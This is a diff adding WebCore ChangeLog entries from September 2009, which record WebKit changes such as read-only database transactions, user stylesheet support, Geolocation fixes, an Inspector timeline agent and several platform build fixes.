+        (WebCore::EventHandler::dragSourceMovedTo):
+            Added DragOperation parameter, so the handler sees the current dropEffect.
+        (WebCore::EventHandler::handleDrag):
+            Assume DragOperationEvery for non-DHTML drags.
+        * page/EventHandler.h:
+            Added DragOperation parameter to dragSourceMovedTo().
+
+2009-09-09  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        1. Adding support/bindings for read-only transactions.
+        2. Disallowing the SQLITE_*_VIEW and REINDEX operations in the
+        private browsing mode.
+        3. Adding an authorizer test.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28918
+
+        Test: storage/test-authorizer.html
+
+        * bindings/js/JSDatabaseCustom.cpp:
+        (WebCore::createTransaction): Parses all arguments and executes a
+        transaction.
+        (WebCore::JSDatabase::transaction): Refactored to use
+        createTransaction().
+        (WebCore::JSDatabase::readTransaction): Added to execute read-only
+        transactions using createTransaction().
+        * bindings/v8/custom/V8CustomBinding.h: Added the binding for
+        Database::readTransaction().
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        (WebCore::createTransaction): Parses all arguments and executes a
+        transaction.
+        (WebCore::transaction): Refactored to use createTransaction().
+        (WebCore::readTransaction): Added to execute read-only
+        transactions using createTransaction().
+        * storage/Database.cpp:
+        (WebCore::Database::transaction): Added support for read-only
+        transactions.
+        * storage/Database.h: Added support for read-only transactions.
+        * storage/Database.idl: Added support for read-only transactions.
+        * storage/DatabaseAuthorizer.cpp:
+        (WebCore::DatabaseAuthorizer::createTempTable): Make it obvious
+        that the statement will be denied in private browsing mode and
+        read-only transactions.
+        (WebCore::DatabaseAuthorizer::dropTempTable): Same.
+        (WebCore::DatabaseAuthorizer::createTempIndex): Same.
+        (WebCore::DatabaseAuthorizer::dropTempIndex): Same.
+        (WebCore::DatabaseAuthorizer::createTempTrigger): Same.
+        (WebCore::DatabaseAuthorizer::dropTempTrigger): Same.
+        (WebCore::DatabaseAuthorizer::createView): Deny in private
+        browsing mode and read-only transactions.
+        (WebCore::DatabaseAuthorizer::createTempView): Same.
+        (WebCore::DatabaseAuthorizer::dropView): Same.
+        (WebCore::DatabaseAuthorizer::dropTempView): Same.
+        (WebCore::DatabaseAuthorizer::allowReindex): Same.
+        * storage/DatabaseAuthorizer.h:
+        * storage/SQLTransaction.cpp: Added support for read-only
+        transactions.
+        (WebCore::SQLTransaction::create):
+        (WebCore::SQLTransaction::SQLTransaction):
+        (WebCore::SQLTransaction::executeSQL):
+        (WebCore::SQLTransaction::acquireLock):
+        * storage/SQLTransaction.h:
+        * storage/SQLTransactionCoordinator.cpp:
+        (WebCore::SQLTransactionCoordinator::acquireLock): Added a new
+        parameter in preparation for a change that will allow multiple
+        read-only transactions on the same DB to run concurrently.
+        * storage/SQLTransactionCoordinator.h:
+
+2009-09-09  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29102, add support for user stylesheet injection.  This is similar
+        to user script injection but allows for user stylesheets to be added.  The stylesheets are applied immediately
+        to all Frames in the PageGroup.
+
+        Added userscripts/simple-stylesheet.html test case.
+
+        * WebCore.base.exp:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::CSSStyleSelector):
+        * css/CSSStyleSelector.h:
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::attach):
+        (WebCore::Document::pageGroupUserSheets):
+        (WebCore::Document::clearPageGroupUserSheets):
+        (WebCore::Document::recalcStyleSelector):
+        * dom/Document.h:
+        * loader/PlaceholderDocument.cpp:
+        (WebCore::PlaceholderDocument::attach):
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::addUserStyleSheet):
+        (WebCore::PageGroup::removeUserContentForWorld):
+        (WebCore::PageGroup::removeAllUserContent):
+        * page/PageGroup.h:
+        (WebCore::PageGroup::userStyleSheets):
+        * page/UserStyleSheet.h: Added.
+        (WebCore::UserStyleSheet::UserStyleSheet):
+        (WebCore::UserStyleSheet::source):
+        (WebCore::UserStyleSheet::url):
+        (WebCore::UserStyleSheet::patterns):
+        (WebCore::UserStyleSheet::worldID):
+        * page/UserStyleSheetTypes.h: Added.
+
+2009-09-09  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] CSS Style -webkit-box-shadow is not rendered correctly on
+        Qt platform
+        https://bugs.webkit.org/show_bug.cgi?id=23291
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+         Added the ability to draw shadows for all these curves.
+
+2009-09-09  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Add the qwebgraphicsitem.cpp to the build system.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28862
+
+        * WebCore.pro:
+
+2009-09-09  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx port] Move functions in TemporaryLinkStubs.cpp out to files where
+        they belong.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29088
+
+        * editing/wx/EditorWx.cpp:
+        (WebCore::Editor::showColorPanel):
+        (WebCore::Editor::showFontPanel):
+        (WebCore::Editor::showStylesPanel):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::clearPlatformShadow):
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        (WebCore::GraphicsContext::endTransparencyLayer):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::strokeRect):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::GraphicsContext::setMiterLimit):
+        (WebCore::GraphicsContext::setAlpha):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        * platform/graphics/wx/IconWx.cpp: Added.
+        (WebCore::Icon::~Icon):
+        (WebCore::Icon::createIconForFile):
+        (WebCore::Icon::createIconForFiles):
+        (WebCore::Icon::paint):
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::Image::loadPlatformResource):
+        (WebCore::Image::drawPattern):
+        * platform/wx/CursorWx.cpp:
+        (WebCore::moveCursor):
+        * platform/wx/FileChooserWx.cpp: Added.
+        (WebCore::FileChooser::basenameForWidth):
+        * platform/wx/KURLWx.cpp: Added.
+        (WebCore::KURL::fileSystemPath):
+        * platform/wx/SSLKeyGeneratorWx.cpp: Added.
+        (WebCore::getSupportedKeySizes):
+        (WebCore::signedPublicKeyAndChallengeString):
+        * platform/wx/SearchPopupMenuWx.cpp: Added.
+        (WebCore::SearchPopupMenu::SearchPopupMenu):
+        (WebCore::SearchPopupMenu::saveRecentSearches):
+        (WebCore::SearchPopupMenu::loadRecentSearches):
+        (WebCore::SearchPopupMenu::enabled):
+        * platform/wx/SharedBufferWx.cpp: Added.
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * platform/wx/SystemTimeWx.cpp: Added.
+        (WebCore::userIdleTime):
+        * platform/wx/TemporaryLinkStubs.cpp: Removed.
+        * platform/wx/TextBreakIteratorInternalICUWx.cpp: Added.
+        (WebCore::currentSearchLocaleID):
+        (WebCore::currentTextBreakLocaleID):
+        * platform/wx/WidgetWx.cpp:
+        (WebCore::Widget::setIsSelected):
+
+2009-09-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Geolocation incorrectly calls error callback in case of exception in success callback.
+        https://bugs.webkit.org/show_bug.cgi?id=27255
+
+        Test: fast/dom/Geolocation/callback-exception.html
+
+        * bindings/js/JSCustomPositionCallback.cpp: Modified.
+        (WebCore::JSCustomPositionCallback::handleEvent): Modified. Removed raisedException out param.
+        * bindings/js/JSCustomPositionCallback.h: Modified. Removed raisedException out param from handleEvent method and made handleEvent private.
+        * bindings/js/JSCustomPositionErrorCallback.h: Modified. Made handleEvent private.
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::sendPosition): Modified. No longer call error callback in case of exception in success callback.
+        * page/PositionCallback.h: Modified. Removed raisedException out param from handleEvent method.
+
+2009-09-09  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        When Geolocation permission is denied, stops watches as well as one-shots.
+        https://bugs.webkit.org/show_bug.cgi?id=28305.
+
+        Tests: fast/dom/Geolocation/watch.html
+               fast/dom/Geolocation/permission-denied-stops-watches.html
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::setIsAllowed): Modified. Marks the permission error as fatal.
+        (WebCore::Geolocation::handleError): Modified. If the error is fatal, stops watchers as well as one-shots.
+        * page/PositionError.h: Modified.
+        (WebCore::PositionError::setIsFatal): Added. Marks an error as fatal.
+        (WebCore::PositionError::isFatal): Added. Determines whether an error is fatal.
+
+2009-09-09  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Bug 28964 -  [Chromium] ChromiumDataObject should have getter/setter interface
+
+        Added getter/setter methods and trivial inline implementations for each.
+        (Note that they are not yet actually used.)
+        Once the Chromium code is changed to use them instead of directly accessing the
+        member variables, the member variables should be made private and cleaned up.
+
+        No new tests (no functional behavior changed).
+
+        * platform/chromium/ChromiumDataObject.h:
+        (WebCore::ChromiumDataObject::mainURL):
+        (WebCore::ChromiumDataObject::setMainURL):
+        (WebCore::ChromiumDataObject::mainURLTitle):
+        (WebCore::ChromiumDataObject::setMainURLTitle):
+        (WebCore::ChromiumDataObject::textPlain):
+        (WebCore::ChromiumDataObject::setTextPlain):
+        (WebCore::ChromiumDataObject::textHTML):
+        (WebCore::ChromiumDataObject::setTextHTML):
+        (WebCore::ChromiumDataObject::htmlBaseURL):
+        (WebCore::ChromiumDataObject::setHTMLBaseURL):
+        (WebCore::ChromiumDataObject::content):
+        (WebCore::ChromiumDataObject::releaseContent):
+        (WebCore::ChromiumDataObject::setContent):
+        (WebCore::ChromiumDataObject::contentFileExtension):
+        (WebCore::ChromiumDataObject::setContentFileExtension):
+        (WebCore::ChromiumDataObject::contentFileName):
+        (WebCore::ChromiumDataObject::setContentFileName):
+        (WebCore::ChromiumDataObject::fileNames):
+        (WebCore::ChromiumDataObject::setFileNames):
+        (WebCore::ChromiumDataObject::takeFileNames):
+
+2009-09-08  Pat Bradley  <vincent.bradley@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] locale date displays incorrect date format in symbian.
+        https://bugs.webkit.org/show_bug.cgi?id=29032
+
+        strftime() in Symbian does not support #
+        Layout tests cannot be run on Symbian yet, so they are not updated.
+
+        * runtime/DatePrototype.cpp:
+        (JSC::formatLocaleDate):
+
+2009-09-09  Rohini Ananth <rohini.ananth@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        NPAPI Plugin NPP_AsFile not working on Qt Webkit
+        https://bugs.webkit.org/show_bug.cgi?id=29068
+
+        * platform/qt/FileSystemQt.cpp:
+        (WebCore::openTemporaryFile)
+        Autoremove property of QTemporaryFile has been set to false. Hence closeFile() just closes and does not delete the file.
+        This solves the deletion of created temp file in PluginStream::destroyStream() before passing to plugin in NPP_AsFile.
+
+2009-09-08  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Remove a few incorrect changes I left in.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-09-08  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Support numeric index getters in bindings
+        https://bugs.webkit.org/show_bug.cgi?id=29067
+
+        Add HasNumericIndexGetter to indicate a non-custom getter that
+        returns a number.  The numeric index getter also uses PropertySlot's
+        setValue rather than setCustomIndex to avoid an additional indirect
+        call.
+
+        * bindings/js/JSCanvasByteArrayCustom.cpp:
+        * bindings/js/JSCanvasFloatArrayCustom.cpp:
+        * bindings/js/JSCanvasIntArrayCustom.cpp:
+        * bindings/js/JSCanvasShortArrayCustom.cpp:
+        * bindings/js/JSCanvasUnsignedByteArrayCustom.cpp:
+        * bindings/js/JSCanvasUnsignedIntArrayCustom.cpp:
+        * bindings/js/JSCanvasUnsignedShortArrayCustom.cpp:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * html/canvas/CanvasByteArray.h:
+        (WebCore::CanvasByteArray::item):
+        * html/canvas/CanvasByteArray.idl:
+        * html/canvas/CanvasFloatArray.h:
+        (WebCore::CanvasFloatArray::get):
+        (WebCore::CanvasFloatArray::item):
+        * html/canvas/CanvasFloatArray.idl:
+        * html/canvas/CanvasIntArray.h:
+        (WebCore::CanvasIntArray::get):
+        (WebCore::CanvasIntArray::item):
+        * html/canvas/CanvasIntArray.idl:
+        * html/canvas/CanvasPixelArray.idl:
+        * html/canvas/CanvasShortArray.h:
+        (WebCore::CanvasShortArray::get):
+        (WebCore::CanvasShortArray::item):
+        * html/canvas/CanvasShortArray.idl:
+        * html/canvas/CanvasUnsignedByteArray.h:
+        (WebCore::CanvasUnsignedByteArray::get):
+        (WebCore::CanvasUnsignedByteArray::item):
+        * html/canvas/CanvasUnsignedByteArray.idl:
+        * html/canvas/CanvasUnsignedIntArray.h:
+        (WebCore::CanvasUnsignedIntArray::get):
+        (WebCore::CanvasUnsignedIntArray::item):
+        * html/canvas/CanvasUnsignedIntArray.idl:
+        * html/canvas/CanvasUnsignedShortArray.h:
+        (WebCore::CanvasUnsignedShortArray::item):
+        * html/canvas/CanvasUnsignedShortArray.idl:
+
+2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix for 2.8.
+
+        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+
+2009-09-08  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        In Mac Chromium, clicking below the last line of an editable area (textarea or
+        contenteditable) should put the caret at the end of the last line, as in Mac Safari.
+
+        Tests: LayoutTests/editing/selection/click-in-margins-inside-editable-div.html
+               LayoutTests/editing/selection/click-in-padding-with-multiple-line-boxes.html
+
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings): Change #if PLATFORM_MAC to be Mac-Chrome-inclusive.
+
+2009-09-08  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Make sure not to do an early return when a data URL stylesheet successfully loads.  We need to still
+        clear the old cached sheet out of all existing Frames.  Fixes the data URL stylesheet layout test failure.
+
+        * page/Page.cpp:
+        (WebCore::Page::userStyleSheetLocationChanged):
+
+2009-09-08  Sam Weinig  <sam@webkit.org>
+
+        Fix windows build.
+
+        * dom/Document.idl:
+
+2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
+
+        More robust wx build fix for 2.9.
+
+        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
+        (wxRenderer_DrawScrollbar):
+
+2009-09-08  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27046
+        Implement CSSOM DocumentView.caretRangeFromPoint
+
+        Tests: fast/dom/Document/CaretRangeFromPoint/basic.html
+               fast/dom/Document/CaretRangeFromPoint/replace-element.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::caretRangeFromPoint):
+        * dom/Document.h:
+        * dom/Document.idl:
+
+2009-09-08  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix, generate derived sources earlier in order to make sure
+        they're found by the build system when generating the list of sources to build.
+
+        * wscript:
+
+2009-09-08  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        <iterator> include in V8Proxy.h is spurious and causing ObjC compile issues for Chromium.
+
+        Test: Chromium mac canary build is fixed.
+
+        * bindings/v8/V8Proxy.h: Remove <iterator> include.
+
+2009-09-08  Xan Lopez  <xlopez@igalia.com>
+
+        Unreviewed attempt to fix the GTKbuild.
+
+        * GNUmakefile.am:
+
+2009-09-04  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28987, make the Document cache the page's user stylesheet in
+        parsed form.  Allows the sheet to survive across destruction/re-creation of the CSSStyleSelector.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::CSSStyleSelector):
+        * css/CSSStyleSelector.h:
+        * dom/Document.cpp:
+        (WebCore::Document::attach):
+        (WebCore::Document::pageUserSheet):
+        (WebCore::Document::clearPageUserSheet):
+        (WebCore::Document::recalcStyleSelector):
+        * dom/Document.h:
+        * loader/PlaceholderDocument.cpp:
+        (WebCore::PlaceholderDocument::attach):
+        * page/Page.cpp:
+        (WebCore::Page::userStyleSheetLocationChanged):
+        * page/Settings.cpp:
+        (WebCore::Settings::setUserStyleSheetLocation):
+
+2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Unreviewed buildfix.
+
+        Fix Qt build after 48167, by adding the new cpp/h files
+        added to WebCore.gypi to WebCore.pro as well.
+
+        * WebCore.pro:
+
+2009-09-08  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        should not pass URI fragments to libsoup
+        https://bugs.webkit.org/show_bug.cgi?id=28687
+
+        Strip the fragment from the URI before passing it to soup, since
+        it forwards it to servers in some cases (like when using a proxy)
+        which confuses them and makes them return 403/404.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startHttp):
+        (WebCore::):
+
+2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Add QGraphicsScene events support to the Qt platform events.
+
+        * platform/PlatformMouseEvent.h:
+        * platform/PlatformWheelEvent.h:
+        * platform/qt/PlatformMouseEventQt.cpp:
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/qt/WheelEventQt.cpp:
+        (WebCore::PlatformWheelEvent::applyDelta):
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
+
+2009-09-08  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] Cleanup: remove a few deprecated methods.
+        https://bugs.webkit.org/show_bug.cgi?id=28960
+
+        No new tests, just syntactic sugar.
+
+        * platform/network/chromium/ResourceRequest.h:
+        * platform/network/chromium/ResourceResponse.h:
+
+2009-09-08  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28981
+
+        [Qt] make npapi.h compile in winscw compiler.
+
+        Add XP_SYMBIAN macro to identify Symbian OS; this macro should be used for Symbian
+        specific changes in npapi.h.
+        Undefine XP_WIN when building for Symbian to avoid including Windows specific code.
+
+        * bridge/npapi.h:
+
+2009-09-08  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Web Inspector assertion failure related to marking
+        https://bugs.webkit.org/show_bug.cgi?id=28997
+
+        When wrapping the callback the JSInspectorCallbackWrapper creator was using
+        inheritorID for the prototype structure which is unsafe for anything other
+        than a pure JS object.  Instead we now create a new structure, which while
+        inefficient is not problematic as this code is not hit frequently.
+
+        * bindings/js/JSInspectorCallbackWrapper.cpp:
+        (WebCore::JSInspectorCallbackWrapper::wrap):
+
+2009-09-08  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add missing extension to the file entry in WebCore.vcproj.
+
+        * WebCore.vcproj/WebCore.vcproj: Added "cpp".
+
+2009-09-08  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        dataTransfer.types() should not return Files if file list is empty in the clipboard.
+        https://bugs.webkit.org/show_bug.cgi?id=28891
+
+        We change the behavior to handle the empty file list in order to match the spec.
+
+        Tested by clipboard-file-access.html.
+
+        * platform/mac/ClipboardMac.mm:
+        (WebCore::addHTMLClipboardTypesForCocoaType):
+        (WebCore::ClipboardMac::types):
+
+2009-09-08  Steve VanDeBogart  <vandebo@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Handle middle click in Chromium like QT
+        https://bugs.webkit.org/show_bug.cgi?id=28696
+
+        Tested by middle-click-onpaste.html.
+
+        * platform/Pasteboard.h:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::getData):
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::Pasteboard):
+        (WebCore::Pasteboard::isSelectionMode):
+        (WebCore::Pasteboard::setSelectionMode):
+        (WebCore::Pasteboard::canSmartReplace):
+        (WebCore::Pasteboard::plainText):
+        (WebCore::Pasteboard::documentFragment):
+        * platform/chromium/PasteboardPrivate.h:
+        (WebCore::PasteboardPrivate::):
+
+2009-09-08  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Eric Seidel.
+
+        WebInspector: Adds a timeline agent to InspectorController that collects
+        high-level timing data about event dispatch, layout, painting and HTML
+        parsing and makes it available to Inspector.
+        https://bugs.webkit.org/show_bug.cgi?id=25503
+
+        * WebCore.gypi:
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyle):
+        * dom/Document.h:
+        (WebCore::Document::inspectorTimelineAgent):
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchGenericEvent):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * inspector/DOMDispatchTimelineItem.cpp: Added.
+        (WebCore::DOMDispatchTimelineItem::DOMDispatchTimelineItem):
+        (WebCore::DOMDispatchTimelineItem::convertToScriptObject):
+        * inspector/DOMDispatchTimelineItem.h: Added.
+        (WebCore::DOMDispatchTimelineItem::~DOMDispatchTimelineItem):
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::enableTimeline):
+        (WebCore::InspectorBackend::disableTimeline):
+        (WebCore::InspectorBackend::timelineEnabled):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::enableTimeline):
+        (WebCore::InspectorController::disableTimeline):
+        (WebCore::InspectorController::timelineEnabled):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::timelineAgent):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::timelineWasEnabled):
+        (WebCore::InspectorFrontend::timelineWasDisabled):
+        (WebCore::InspectorFrontend::addItemToTimeline):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorTimelineAgent.cpp: Added.
+        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::~InspectorTimelineAgent):
+        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::didDispatchDOMEvent):
+        (WebCore::InspectorTimelineAgent::willLayout):
+        (WebCore::InspectorTimelineAgent::didLayout):
+        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::didRecalculateStyle):
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::didPaint):
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        (WebCore::InspectorTimelineAgent::didWriteHTML):
+        (WebCore::InspectorTimelineAgent::reset):
+        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
+        (WebCore::InspectorTimelineAgent::currentTimeInMilliseconds):
+        (WebCore::InspectorTimelineAgent::sessionTimeInMilliseconds):
+        * inspector/InspectorTimelineAgent.h: Added.
+        * inspector/TimelineItem.cpp: Added.
+        (WebCore::TimelineItem::TimelineItem):
+        (WebCore::TimelineItem::addToTimeline):
+        (WebCore::TimelineItem::convertToScriptObject):
+        (WebCore::TimelineItem::convertChildrenToScriptArray):
+        (WebCore::TimelineItem::addChildItem):
+        * inspector/TimelineItem.h: Added.
+        (WebCore::):
+        (WebCore::TimelineItem::~TimelineItem):
+        (WebCore::TimelineItem::previous):
+        (WebCore::TimelineItem::releasePrevious):
+        (WebCore::TimelineItem::setEndTime):
+        (WebCore::TimelineItem::type):
+        * inspector/front-end/TimelineAgent.js: Added.
+        (WebInspector.TimelineAgent):
+        (WebInspector.addItemToTimeline):
+        (WebInspector.timelineWasEnabled):
+        (WebInspector.timelineWasDisabled):
+        * inspector/front-end/inspector.html:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        (WebCore::FrameView::paintContents):
+        * page/FrameView.h:
+        (WebCore::FrameView::inspectorTimelineAgent):
+        * page/Page.cpp:
+        (WebCore::Page::inspectorTimelineAgent):
+        * page/Page.h:
+
+2009-09-08  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix unused variable warnings
+        https://bugs.webkit.org/show_bug.cgi?id=29018
+
+        No functional change, no tests.
+
+        * history/qt/HistoryItemQt.cpp:
+        (WebCore::HistoryItem::restoreState):
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::putImageData):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::paintMenuList):
+
+2009-09-08  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] Use the declaration order in initializer lists
+        https://bugs.webkit.org/show_bug.cgi?id=29017
+
+        No functional change, no new tests.
+
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
+
+2009-09-08  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Implement ValidityState::typeMismatch() for <input type=number>.
+        https://bugs.webkit.org/show_bug.cgi?id=28934
+
+        Test: fast/forms/ValidityState-typeMismatch-number.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::formStringToDouble):
+        * html/HTMLInputElement.h:
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+        * html/ValidityState.h:
+
+2009-09-08  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] Another attempt of a buildfix.
+
+        * GNUmakefile.am: Modified. Remove some extra IDL files added in r48153.
+
+2009-09-08  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Make cursor set cleaner in QtWebKit Api: eliminate SetCursorEvent hack.
+        https://bugs.webkit.org/show_bug.cgi?id=28865
+
+        Save the QCursor as a property in WidgetQt::setCursor
+        and actually change the cursor in QWebView::event() by making use
+        of the QEvent::DynamicPropertyChange event type.
+        When unsetCursor() is called on the QWidget we can fallback to
+        the cursor set by WebCore.
+
+        Patch by Kenneth Rohde Christiansen <kenneth@webkit.org> and
+                 Antonio Gomes <antonio.gomes@openbossa.org> on 2009-09-07
+
+        * platform/qt/WidgetQt.cpp:
+        (WebCore::Widget::setCursor):
+
+2009-09-08  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] Buildfix for build error introduced in r48150.
+
+        * GNUmakefile.am: Modified. Added missing IDL files.
+
+2009-09-08  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Buildfix. Build error caused by r48150.
+
+        * WebCore.pro: missing IDL files added
+
+2009-09-07  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Update Canvas 3D implementation to match spec
+        https://bugs.webkit.org/show_bug.cgi?id=29010
+
+        This adds several new CanvasXXXArray classes each of which has a custom constructor
+        and custom getters and setters. Also changed CanvasRenderingContext3D and GraphicsContext3D
+        to match the new and changed API.
+
+        * DerivedSources.make:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSCanvasArrayBufferConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasArrayBufferConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasByteArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasByteArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasByteArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasFloatArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasFloatArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasFloatArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasIntArrayConstructor.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasIntArrayConstructor.h: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasIntArrayCustom.cpp: Added with properties svn:eol-style and svn:mime-type.
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
+        (WebCore::JSCanvasRenderingContext3D::bufferData):
